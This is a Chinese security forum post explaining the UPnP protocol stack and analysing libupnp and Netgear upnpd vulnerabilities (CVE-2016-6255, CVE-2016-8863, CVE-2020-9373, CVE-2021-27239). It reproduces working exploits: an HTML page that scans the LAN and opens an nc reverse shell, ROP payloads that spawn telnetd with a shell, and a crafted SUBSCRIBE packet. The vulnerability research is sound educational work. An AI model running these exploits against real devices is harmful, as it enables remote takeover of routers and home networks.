基于libupnp的源码和工作原理进行upnp协议和相关安全问题分析
0x00 概述
协议栈
UPnP全名是Universal Plug and Play,翻译过来就是即插即用,该协议的设计初衷是希望设备接入某个网络中之后,所有设备都知道新设备的加入,并且设备之间能够相互沟通,或者直接使用控制对方。
该设备基于TCP。UDP和HTTP协议,协议栈如下。(来自官网)
libupnp在传统的upnp协议实现的基础上,自己集成了HTTP处理,XML处理,HTTP_server,SSDP处理等等...
协议栈中第三层,HTTPU HTTPMT和HTTP都是基于TCP和UDP封装的数据包,数据内容也是为上层的SSDP,SOAP,GENA协议提供基础,SSDP等第四层的三个协议基本通信都是使用xml来交互的,这一层负责保存xml文件格式存储的内容。
至此,协议栈实现了基本的UPnp之间的通信,在网上一些设备的细节就被屏蔽掉了,提供一个通用的接口,由不同的设备厂商自己定义接口的功能等作用。
基本标识
要熟悉upnp格式的数据报文和信息传递,需要先对一些标识有概念。
-
UUID
Universally Unique Identifier,通用唯一识别码。目的是让分布式系统中的所有元素,都有唯一辨识咨询,定义格式为:xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxxxxxx(8-4-4-16)
分别为当前日期和时间,时钟序列,全局唯一的IEEE机器识别号,如果有网卡,从网卡mac地址获得,没有网卡以其他方式获得。 -
UDN
单一设备名(Unique Device Name),基于UUID,表示一个设备。在不同的时间,对于同一个设备此值应该是唯一的。 -
URN
URL的一种更新形式,统一资源名称(URN,Uniform Resource Name)。唯一标识一个实体的标识符,但是不能给出实体的位置。标识持久性Internet资源。URN可以提供一种机制,用于查找和检索定义特定命名空间的架构文件。尽管普通的URL可以提供类似的功能,但是在这方面,URN 更加强大并且更容易管理,因为 URN 可以引用多个 URL。 -
Mx
1到5之间的一个值,表示最大的等待应答的秒数。 -
ST
Seatch Targer,表示搜索的节点类型。SSDP协议
SSDP为整个upnp协议栈中的发现协议,当设备接入网络是即会向网络中的某个广播ip发送SSDP数据包,通知其他设备自己的加入,而其他设备收到该广播数据包之后,会以单播的形式来响应这条信息。
广播包发送如下:M-SEARCH * HTTP / 1.1 host:239.255.255.250 :1900 MAN:ssdp:discover MX:10 ST:ssdp:all
该数据包类似HTTP,又被称为HTTPU协议(即基于UDP的HTTP)
接收到的回复单播数据包如下:HTTP/1.1 200 OK\r\n CACHE-CONTROL: max-age=120\r\n ST: uuid:75802409-bccb-40e7-8e6c-40a5ef100e92\r\n USN: uuid:75802409-bccb-40e7-8e6c-40a5ef100e92\r\n EXT:\r\n SERVER: RT-N56U/3.4.3.9 UPnP/1.1 MiniUPnPd/2.0\r\n LOCATION: http://192.168.100.1:24795/rootDesc.xml\r\n OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n 01-NLS: 1652586384\r\n BOOTID.UPNP.ORG: 1652586384\r\n CONFIGID.UPNP.ORG: 1337\r\n \r\n
可以利用python模拟发送HTTPU的广播数据包,获取局域网内的UPnp设备信息。
import socket
import re
ANY = "0.0.0.0"
DES_IP = "239.255.255.250"
PORT = 1900
xml_str = b'M-SEARCH * HTTP/1.0\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'MAN: "ssdp:discover"\r\n' \
+ b'MX: 3\r\n' \
+ b'ST: ssdp:all\r\n' \
+ b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n\r\n'
print(xml_str)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((ANY, PORT))
s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
s.setsockopt(
socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
socket.inet_aton(DES_IP) + socket.inet_aton(ANY)
)
s.setblocking(False)
s.sendto(xml_str, (DES_IP, PORT))
while True:
try:
data, address = s.recvfrom(2048)
except Exception as e:
pass
else:
print(address)
print(data)
print("####################################################################")
SCPD描述
可以注意到在SSDP响应包中有一个location字段,指向了一个xml文件,在UPnp的交互过程中,描述设备的信息,或者控制设备都是通过xml文件来实现的。
访问location字段中的url即可得到目标设备的基本信息。截取出来一段:
<deviceList>
<device>
<deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:1</deviceType>
<friendlyName>WANConnectionDevice</friendlyName>
<manufacturer>MiniUPnP</manufacturer>
<manufacturerURL>http://miniupnp.free.fr/</manufacturerURL>
<modelDescription>MiniUPnP daemon</modelDescription>
<modelName>MiniUPnPd</modelName>
<modelNumber>20220316</modelNumber>
<modelURL>http://miniupnp.free.fr/</modelURL>
<serialNumber>1.0</serialNumber>
<UDN>uuid:75802409-bccb-40e7-8e6c-40a5ef100e93</UDN>
<UPC>000000000000</UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<SCPDURL>/WANIPCn.xml</SCPDURL>
<controlURL>/ctl/IPConn</controlURL>
<eventSubURL>/evt/IPConn</eventSubURL>
</service>
</serviceList>
</device>
</deviceList>
文件中有多个deviceList,每个List下面包含了device和service,在上面这一个单元中可以看到,device中包含了该设备的名字,和通用名(friendlyName),在serviceList中,包含了一些URL,例如SCPDURL,controlURL,其中,SCPD里面的url访问即可得到关于该设备的所有操作,下面给一段例子:
<actionList>
<action>
<name>SetConnectionType</name>
<argumentList>
<argument>
<name>NewConnectionType</name>
<direction>in</direction>
<relatedStateVariable>ConnectionType</relatedStateVariable>
</argument>
</argumentList>
</action>
该描述文件中包含了可以执行的操作,和该操作需要的参数。
而controlURL和eventURL则是执行该操作需要请求的资源。
这就是UPnp协议中存储资源的方式,服务资源和设备信息都使用xml文件存储,也使用xml文件执行操作。
SOAP控制
控制设备是一个较为广泛的概念,在设备允许的范围内,使用允许的协议对设备执行一些操作,都可以称为控制,但是这里把订阅和一般的控制分开来讲,SOAP主要是执行一些一般的控制。
SOAP协议基于TCP协议,实现了以xml为基础的设备控制。
相应的格式如下:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<u:GetConnectionTypeInfo xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
</u:GetConnectionTypeInfo>
</soap:Body>
</soap:Envelope>
在soap请求的body中,以<\u>的标签形式,导入action和service_type。这还是一个没有传入参数的情景,下面给以标准的数据包。
POST/control/urlHTTP/1.1
HOST:hostname:portNumber
CONTENT-TYPE:text/xml;charset="utf-8"
CONTENT-LENGTH:lengthofbody
USER-AGENT:OS/versionUPnP/1.1product/version
SOAPACTION:"urn:schemas-upnp-org:service:serviceType:v#actionName"
<?xmlversion="1.0"?>
<s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:actionNamexmlns:uu:actionNamexmlns:u="urn:schemas-upnp-org:service:serviceType:v">
<argumentName>inargvalue</argumentName>
</u:actionName>
</s:Body>
</s:Envelope>
注意到HTTP头也发生了变化。
按照这样的格式发送数据包过去,接收到的返回包也是xml格式的内容,格式内容也差不多。
HTTP/1.1200OK
CONTENT-TYPE:text/xml;charset="utf-8"
DATE:whenresponsewasgenerated
SERVER:OS/versionUPnP/1.1product/version
CONTENT-LENGTH:bytesinbody
<?xmlversionxmlversion="1.0"?>
<s:Envelope
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:actionNameResponsexmlns:uu:actionNameResponsexmlns:u="urn:schemas-upnp-org:service:serviceType:v">
<argumentName>outargvalue</argumentName>
</u:actionNameResponse>
</s:Body>
</s:Envelope>
以上就是SOAP的控制操作,需要注意的请求url和方法,参数规则,通过SCPD可以查询到,一定要调用对应device和service下面的方法和url,否则请求就会失败。
GENA订阅&事件
在以上的基础上,UPnp还实现了基于HTTP的GEN协议,该协议用来处理一些订阅消息。
订阅的请求格式
SUBSCRIBEpublisherpathHTTP/1.1
HOST:publisherhost:publisherport
USER-AGENT:OS/versionUPnP/1.1product/version
CALLBACK:<deliveryURL>
NT:upnp:event
订阅用来在设备信息更换的时候,由设备向订阅者发送更换通知。
服务通过发送事件消息来发布更新。事件消息包括一个或多个状态信息变量以及它们的当前数值。这些消息也是采用XML的格式,用通用事件通知体系进行格式化。一个特殊的初始化消息会在控制点第一次订阅的时候发送,它包括服务相关的变量名及值。为了支持多个控制点并存的情形,事件通知被设计成对于所有的控制点都平行通知。因此,所有的订阅者同等地收到所有事件通知。
订阅的请求url就在SCPD中看到的eventSubURL中。<eventSubURL>/evt/IPConn</eventSubURL>
其中的deliveryURL,是回调的url,即为事件订阅的应答,NT固定为upnp:event表示为订阅事件。
收到的相应数据包为:
HTTP/1.1200OK
DATE:whenresponsewasgenerated
SERVER:OS/versionUPnP/1.1product/version
SID:uuid:subscription-UUID
CONTENT-LENGTH:0
TIMEOUT:Second-1800
需要注意的是SID。
事件消息是NOTIFY作为报文头,格式如下:
NOTIFYdeliverypathHTTP/1.1
HOST:deliveryhost:deliveryport
CONTENT-TYPE:text/xml;charset="utf-8"
NT:upnp:event
NTS:upnp:propchange
SID:uuid:subscription-UUID
SEQ:eventkey
CONTENT-LENGTH:bytesinbody
<?xmlversion="1.0"?>
<e:propertysetxmlns:ee:propertysetxmlns:e="urn:schemas-upnp-org:event-1-0">
<e:property>
<variableName>newvalue</variableName>
</e:property>
</e:propertyset>
订阅者收到消息之后,在30s内需要返回确认,即HTTP1.1 200OK
攻击面
从协议的设计模式上来说,整个UPnp服务还是存在很多可能由缺陷的地方,此外再加上嵌入式设备这个不安全的变量,UPnp在近年来频繁的爆出漏洞,现在从设计的角度上谈一谈容易出现漏洞的地方。
-
数据包处理
数据包的处理,UPnp的各类数据包,SSDP,SOAP之类的,都是在HTTP和HTTPU上建立起来的,对于不同的设备来说,实现的方式也不同,这就导致了厂商设计出来的upnpd程序良萎不齐,在数据的处理上,容易出现判断边界不严格,在":"之类的地方出现溢出类的漏洞。如CVE-2012-5958,在strncpy的时候,len函数用错了地方,且截取冒号之间的字符,这就导致了严重的缓冲区溢出。M-SEARCH * HTTP/1.1 Host: 230.255.255.250:1900 ST: uuid:schemas:device:xxxxxxxxxxxx Man: "ssdp:discover" MX: 3
在device后面注入一大段payload即可获得程序控制机会。
-
变量过滤不严格
在高度定制化的SOAP请求和SSDP数据中,在一些程序中,这些数据可能会被直接送去system等函数中,不严格的过滤很容易导致命令注入,类似的例子比较多,CVE-2017-17215,CVE-2020-15893等,有的注入存在于XML解析,有的存在于请求的主体上,如果程序出现system函数,那么注入的可能性还是比较高的。 -
XML解析
XML作为前后端分离的一个标志,逐渐广泛运用,但是XML解析上,容易出现递归错误,和XEE注入等,理论上来说,也可能存在较大的问题,但是实际上爆出来的和UPnp有关的XML漏洞好像也不是特别多。有的话也是结合了变量进行的命令注入,而XEE注入不太常见。 -
信息泄露和越权控制
貌似是一个比较广的问题,可以发现SOAP等数据包,不需要任何的身份验证,这就意味着,任何一台可以连接到目标Upnp网络中的设备,都可以控制网络中的所有设备。如果是路由器,改变端口映射直接打穿内网也不是不可能。
最后在嵌入式的大背景之下,一些小型的设备,为了降低开发成本,代码之间的复制粘贴,自己设计的阉割版程序,都将导致大量的安全问题和漏洞的复用,只能通过提高用户的安全意识来防范。
Tools
现在对Upnp产生了很多的工具,例如Miranda,该工具可以模拟upnp发包,各类报文都在源码中有实现的模板,收集一些局域网内的upnp设备信息十分方便,同时该项目只有两个py文件,非常轻量级。但是项目很老了,也没有人维护,只能做一些信息收集的基本功能比较方便。
CallStranger可以模拟发送订阅数据包,一般是用来做漏洞测试的,CVE-2020-12695,对局域网内的设备进行扫描并且搜索出可能由该漏洞的设备。但是对https支持性貌似不太好。
upnpclient一个好用的python3 upnp通信客户端,可以很好的模拟通信。
0x01 libupnp
libupnp是一个开源的便携式upnp库,编译之后作为so链接文件存在于设备中,虽然相比miniupnp和自己实现的upnp,libupnp不是特别的轻量级,但是我认为该upnp的实现已经是相对起来比较安全的了。
在近年,libupnp漏洞较少,在16,17年以前,层出现过较多次的严重缓冲区溢出。拿这些漏洞作为基础,研究一下upnp的漏洞,顺便可以利用libupnp这个项目,弄明白upnp的工作原理。
程序框架
最近还分析了lighttpd,怎么说呢,感觉像是一家人写的代码,一堆enum结构和switch,再加上多线程,该程序理解起来不是一件简单的事情。
这里的框架也是我仅仅分析了大概三四天分析出来的。只对其中从UPNP_init函数开始的一部分做了分析,其余的device注册,添加之类的就没有多看了,那边应该更多的是xml文件的修改和处理,不过libupnp使用的xml都是静态的,修改起来尤为麻烦,可能添加的代码也比较难看。
init的代码不是特别难看,从init往下追踪可以发现一个这样的函数。
函数内,通过判断参数,来给定是否开启webserver,如果开启的话,则初始化webserver,然后设置webserver的回调函数。
该回调函数在HTTP处理的最后将被按照不同的方法调用,这里不细细分析源码,大致的讲一下框架。
- webserver
libupnp
自己实现了一个webserver
,这个webserver
对GET
路径请求设置为有效,因为upnp
也是基于HTTP
实现的,所以对于GET
请求,直接定位文档,然后返回数据即可,对于POST
之类的请求,就需要用虚拟路径(controlurl),目前在HTTP上只支持这两种请求,别的不支持。 - xml
libupnp
还设计了xml解析器,解析器会被UPnp协议和客户端调用。 - HTTP解析
基于HTTP实现的ssdp,scpd,soap等数据包,都交由该解析器解析,在webserver的基础上,接受socket传递过来的数据,然后进行不同的消息解析,解析完成后返回相应的数据,这都由HTTP解析器来完成。
此外,还提供额外的微型服务,该服务接受所有的网络连接,判断哪些数据可以进入上层哪些不可以,例如HTTP解析器只处理规定的消息类型,其余的消息就被该服务屏蔽了。
最后在init函数中,使用多线程工作任务的模式,调用TPJobInit函数,将任务加入到队列,然后等待空闲的线程调用执行。
类似上图的处理,由此图也可看出libupnp的一个缺点,包装多了,对下层实现的屏蔽太强了,导致上层想要了解下层的原理或者做出更改,需要很久才能理解其中的机制(但我建议还是看一下源码,因为对upnp的理解有很大的帮助)
漏洞分析
libupnp历史版本的漏洞分析
CVE-2016-6255
Portable UPnP SDK (aka libupnp) before 1.6.21 allows remote attackers
to write to arbitrary files in the webroot via a POST request without
a registered handler.
漏洞描述为UPnP可以由POST实现任意文件写,按照逻辑找到了可能出现的位置,最后的文件处理在webserver的回调函数当中。
在HTTP处理的最后,根据氢请求头,进入不同的回调函数,这里按照描述上说,触发的位置应该是gGetCallback函数。我是用的是1.6.20版本的源码,刚好漏洞在1.6.21被修补。
在目标callback函数中,首先是进行了一些操作,然后根据返回的结果来进行不同的处理。
可能是类似request_type之类的东西,我们需要的应该是在最后的REST_POST,查看RecvPostMessage函数。
此处直接打开了filename,然后后面对其进行了写
这就导致filename从理论上来说,在upnp的权限范围之内,可以写任意的文件在可写文件夹。
继续分析filename的来源,追溯到了process_request函数,该函数filename作为参数传入,可能在函数中对filename进行了写入的操作。
该函数中首先对请求的uri进行了判断,过滤了../和空格之类的东西,规定了请求资源的开头必须是/,然后进行了关键的判断。
isFileInVirtualDir(request_doc)
,这个函数决定了filename最后的赋值操作。filename中的两个处理模式。
- 第一种是virtualDir
virtualDir处理中,发现系统维护一个全局的链表pvirtualDir,链表存储了所有的virtual文件夹,通过判断请求的资源是否是其中的dir是否有和请求URI匹配的,如果有则返回true否则返回false。 - 第二种是alias模式
这个判断的是gAliasDoc全局变量,如果这个变量不是空则返回True
之后又是判断请求的资源是否和默认资源一样,一样才返回True。
后面又有if分支对不同的情况有不同的处理,这里的if比较奇葩,第一种是虚拟资文件夹,第二种是既不是虚拟文件夹,也不是alias,没有第三种。。。
重点分析漏洞出现的位置。
这种模式下,URI直接被拼接到了rootDir的后面,然后去除末尾的/就直接完成了filename的赋值。
结束if之后,又来了个请求方式的判定,是否是POST然后就直接返回了。所以理论上在RootDir以下,可以完成任意写。
本来我想的利用方式比较粗糙,构造xml文件,在设备的描述方法里面添加别的描述方法,然后就可以执行一些非预期的命令。
但是后来在exploit-db上发现了poc,该poc比我的利用方法好了太多。
<html>
<head>
<meta charset="UTF-8">
<script>
function create_page(ip, frame_id)
{
payload = "\n" +
"<html>\n" +
"<head>\n" +
"<title>Try To See It Once My Way</title>\n" +
"<script>\n" +
"function exec_lua() {\n" +
"soap_request = \"<s:Envelope s:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\" xmlns:s=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\">\";\n" +
"soap_request += \"<s:Body>\";\n" +
"soap_request += \"<u:RunLua xmlns:u=\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1\\\">\";\n" +
"soap_request += \"<Code>os.execute(\"/bin/sh -c '(mkfifo /tmp/a; cat /tmp/a | /bin/sh -i 2>&1 | nc 192.168.1.120 1270 > /tmp/a)&'\")</Code>\";\n" +
"soap_request += \"</u:RunLua>\";\n" +
"soap_request += \"</s:Body>\";\n" +
"soap_request += \"</s:Envelope>\";\n" +
"xhttp = new XMLHttpRequest();\n" +
"xhttp.open(\"POST\", \"upnp/control/hag\", true);\n" +
"xhttp.setRequestHeader(\"MIME-Version\", \"1.0\");\n" +
"xhttp.setRequestHeader(\"Content-type\", \"text/xml;charset=\\\"utf-8\\\"\");\n" +
"xhttp.setRequestHeader(\"Soapaction\", \"\\\"urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua\\\"\");\n" +
"xhttp.send(soap_request);\n" +
"}\n" +
"</scr\ipt>\n" +
"</head>\n" +
"<body onload=\"exec_lua()\">\n" +
"Zen?\n" +
"</body>\n" +
"</html>";
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "http://" + ip + ":49451/z3n.html", true);
xhttp.timeout = 1000;
xhttp.onreadystatechange = function()
{
if (xhttp.readyState == XMLHttpRequest.DONE)
{
new_iframe = document.createElement('iframe');
new_iframe.setAttribute("src", "http://" + ip + ":49451/z3n.html");
new_iframe.setAttribute("id", frame_id);
new_iframe.setAttribute("style", "width:0; height:0; border:0; border:none");
document.body.appendChild(new_iframe);
}
};
xhttp.send(payload);
}
function spray_and_pray()
{
RTCPeerConnection = window.RTCPeerConnection ||
window.mozRTCPeerConnection ||
window.webkitRTCPeerConnection;
peerConn = new RTCPeerConnection({iceServers:[]});
noop = function() { };
peerConn.createDataChannel("");
peerConn.createOffer(peerConn.setLocalDescription.bind(peerConn), noop);
peerConn.onicecandidate = function(ice)
{
if (!ice || !ice.candidate || !ice.candidate.candidate)
{
return;
}
clientNetwork = /([0-9]{1,3}(\.[0-9]{1,3}){2})/.exec(ice.candidate.candidate)[1];
peerConn.onicecandidate = noop;
if (clientNetwork && clientNetwork.length > 0)
{
for (i = 0; i < 255; i++)
{
create_page(clientNetwork + '.' + i, "page"+i);
}
}
};
}
</script>
</head>
<body onload="spray_and_pray()">
Everything zen.
</body>
</html>
直接利用html中的lua,发请求,然后iframe加载结果获得反弹的shell,还添加了局域网扫描的功能。拿来即可使用。
修复: 新版的补丁中添加了全局宏,限制了POST操作的可写权限。
CVE-2016-8863
同样的1.6.21以下版本出现的漏洞。
Heap-based buffer overflow in the create_url_list function in
gena/gena_device.c in Portable UPnP SDK (aka libupnp) before 1.6.21
allows remote attackers to cause a denial of service (crash) or
possibly execute arbitrary code via a valid URI followed by an
invalid one in the CALLBACK header of an SUBSCRIBE request
在create_url_list函数中存在的堆溢出,会导致Dos,问题出在CALLBACK的处理。
定位到漏洞位置,这个给的是比较详细了。
整个漏洞函数就只有两个大的for循环,第一个如下:
for( i = 0; i < URLS->size; i++ ) {
if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
if( ( ( return_code = parse_uri( &URLS->buff[i + 1],
URLS->size - i + 1,
&temp ) ) == HTTP_SUCCESS )
&& ( temp.hostport.text.size != 0 ) ) {
URLcount++;
} else {
if( return_code == UPNP_E_OUTOF_MEMORY ) {
return return_code;
}
}
}
}
在这个循环中对传入的url字符串遍历,直到匹配到"<"字符串并且i此时还小于size,然后调用函数解析这个url,如果成功解析则URLcount++,解析失败则判断return_code是不是指定的ret_code。
接着再看下面的循环。
如果URLcount大于0则为URL申请一片空间,为解析后的URL也申请空间。之后把存储源URL的buffer拷贝到out的空间中,之后的for循环也是对目标url的解析,但是解析的结果要存放在预先分配的parsedURLS堆空间,这里注意到,for循环使用的是原始的字符串,也就是说此时如果URLcount=1也是可能的,因为如果有两个url,第一个成功解析,而第二个解析失败,就会在第一个for循环跳出,此时URLcount=1,所以说第二次parase的时候,URLcount=0,没问题,正常解析,当解析到后面哪个错误的url的时候,此时URLcount=1,而预先malloc的空间却只有一个,这就导致了单个堆溢出(数组越界)
这个越界的值被传入parse_URI,当处理完毕的时候,该地址会被解析,然后写入处理之后的值,这个影响有点不定,有时没有关系,又是会导致crash,有时也会RCE。
SUBSCRIBE /upnp/control/WANIPConn1 HTTP/1.1
HOST: 0.0.0.0:49152
CALLBACK: <http://192.168.1.1:49153/gatedesc.xml><12//:49153
NT: upnp:event
TIMEOUT: Second-1801
利用就是nc端口,把上面的数据包发一下就行了,注意端口自己确定,还有订阅的url也是具体情况具体分析。
更早版本的lubupnp也有漏洞,出现的位置是ssdp的处理上,详细的就不在这里细说了,附上讲解的链接。
https://www.cnblogs.com/Shepherdzhao/p/7570632.html
0x02 Others
在libupnp的基础上,再看看别的upnp实现,同样的出现漏洞的位置大都是处理相关的cgi,而和本身没有太大的关系。
CVE-2020-9373
熟悉的Netgear设备,该设备的R6400等多个固件版本中存在栈溢出漏洞。发送构造好的ssdp数据包可能导致Dos或Rce。
这个洞原理也非常简单,首先还是先拿固件下来,按照漏洞描述拿下了1.0.32版本的固件,官网也可以下再开源的GPL源码,方便阅读。
目标漏洞程序是/usr/sbin下的upnpd,整体的实现和libupnp应该差不多,由于是ssdp出问题了,搜索相关的字符串,ssdp:discover之类的,查看ssdp头部数据处理。
刚进去函数就看到一个大大的strcpy,v39只有12个字节,如果src比这个大就可以溢出。
回溯了以下src,发现貌似,直接传数据就可以触发漏洞,因为头部处理还在strcpy之下。
exp:就是照着arm下面的ret2libc打就行,调试可能麻烦一点,发送pwntools的payload,然后看寄存器,确定偏移,然后ret2shellcode。
import sys
import socket
import time
addr_r7 = \
b"\xcc\x04\x10\x40" # if this address readble, RCE; otherwise DOS;
addr_rop0 = \
b"\x24\x91\x01\x00"
addr_rop1 = \
b"\xcc\x04\x10\x40" \
b"\x41\x41\x41\x41\x41\x41\x41\x41" \
b"\x8f\x9c\x06\x00\x1e\x00\x00\x00" \
b"\xcc\x04\x10\x40\xcc\x04\x10\x40" \
b"\xcc\x04\x10\x40\xcc\x04\x10\x40" \
b"\xcc\x04\x10\x40\xcc\x04\x10\x40" \
b"\xe4\xce\x00\x00"
addr_rop2 = \
b"\x78\x78\x01\x00"
cmd = \
b"telnetd -F -l /bin/sh -p 9999;" \
b"\x00"
data = b"\x41"*0x604 + \
addr_r7 + b"\x41"*0x28 + addr_rop0 + \
b"\x61"*0x258 + addr_rop1 + cmd + \
b"\x41"*0x3ed + addr_rop2
def send_ssdp(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((ip, port))
sock.send(data)
def usage():
print("python3 %s ip port(1900)" % sys.argv[0])
if __name__ == "__main__":
if len(sys.argv) != 3:
usage()
else:
send_ssdp(sys.argv[1], int(sys.argv[2]))
CVE-2021-27239
同样的固件,在审计上一个洞的时候,还被我发现了一个洞,然后搜索知道,该漏洞已经申请CVE编号,所以就在这里再多扯皮一下,漏洞原理也比较简单。在处理SSDP报文的MX头时,对MX的内容使用strstr和\r\n作为区分,导致strncpy第三个参数可控,从而溢出。
payload和上面那个的调试方法一样,只是转移到了MX之后。
用了xuanxuan佬的exp
from pwn import *
io = remote("127.0.0.1",1900,typ='udp')
cmd = b'ls'
# throw rop chain to stack first
rop_chain = p32(0x970A0)
rop_chain += p32(1) * 2
rop_chain += p32(0xBB44)
rop_chain += cmd.ljust(0x400,b"\x00")
rop_chain += p32(1) * 3
rop_chain += p32(0xAE64)
io.send(b'a'*356 + rop_chain)
sleep(0.1)
# trigger stack buffer overflow to rop chain
payload = b'M-SEARCH * HTTP/1.1 \r\n'
payload += b'Man: "ssdp:discover" \r\n'
payload += b'MX: '
payload += b'a'*139
payload += p32(0x13908)[:-1]
payload += b'\r\n'
io.send(payload)
ps: 其中的调试思路非常值得学习,我就懒得写了,博客文章在参考链接内有。
CVE-2019-14363,CVE-2021-27137也是类似的漏洞,问题出在:的边界检测,原理不分析了,肯定是开发的人用了同样的代码。
可能在不同的代码里面都还有着潜在的类似威胁。
0x03 思考
本来是想看看libupnp的代码,学一下upnp协议的规范,然后就顺便复现了几个libupnp的漏洞,这俩2016的漏洞挺有意思的,不仔细看还发现不了,第二个越界可以说是有些代码习惯确实如此,自己也不会注意,第一个也是同样的,这类看起来不像漏洞的漏洞危害不小于常见的溢出之类的。
后面的两个upnpCVE完全是顺手分析了一下(反正没有钱买设备,,,,)复现了第一个之后,感觉挺简单的,然后固件版本也比较老,就顺便看了一下ssdp的处理,但后就发现了第二个洞,顺便就复现了两个,然后就写下来了。
这此除了upnp协议学到最多的就是调试了,之前调试环境起不来的时候尝试过patch,但是我发现和xuanxuan大佬比起来,我还是路走窄了,原来为了规避fork之类的,还能直接patche libc。。。。
加上一些环境变量的处理,还是收获很大。
此外,这几次漏洞的都处在str复制上,所以我很讨厌自己包装str函数的人,这不是不给黑阔饭吃吗(bushi!!!strncpy,包括scanf,之类的,出现字符串复制和转移,输入,都有可能出现问题,比较字符串的边界问题在C语言中,一直比较难处理。
0x04 参考
https://www.electricmonk.nl/log/2016/07/05/exploring-upnp-with-python/
http://antkillerfarm.github.io/technology/2016/03/11/upnp#%E4%BA%A4%E4%BA%92%E6%B5%81%E7%A8%8B
https://xuanxuanblingbling.github.io/iot/2021/11/01/netgear/
- 本文作者: 就叫16385吧
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1827
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!